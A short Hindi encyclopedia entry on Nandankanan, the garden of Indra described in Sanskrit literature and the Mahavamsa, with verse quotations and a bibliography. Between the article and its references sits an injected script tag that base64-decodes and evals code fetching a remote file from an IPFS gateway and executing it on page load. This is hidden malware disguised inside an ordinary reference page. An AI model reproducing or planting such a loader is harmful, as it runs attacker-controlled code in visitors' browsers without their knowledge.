नंदनकानन
भारत डिस्कवरी प्रस्तुति
नंदनकानन अथवा 'नंदनवन' को प्राचीन संस्कृत साहित्य में वर्णित किया गया है, जहाँ इसे 'सुरेन्द्र' (इन्द्र) का उद्यान बताया गया है-
'नगरोपवने शचीसखो मरुतां पालयितेव नंदने', 'लीलागारेष्वरमत पुनर्नन्दनाभ्यन्तरेषु'[1]
इसके अतिरिक्त भी नंदनकानन के विषय में निम्न तथ्य प्रमुख है-
'भाति चैत्ररर्थ चैव नंदनं च महावन्म रमणंभावनं चैव वेणुमन्त: समंतत:'[2]
- महावंश[3] में भी नंदनकानन का वर्णन है, जहाँ इसे अनुराधापुर का एक उद्यान कहा गया है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 470 |
संबंधित लेख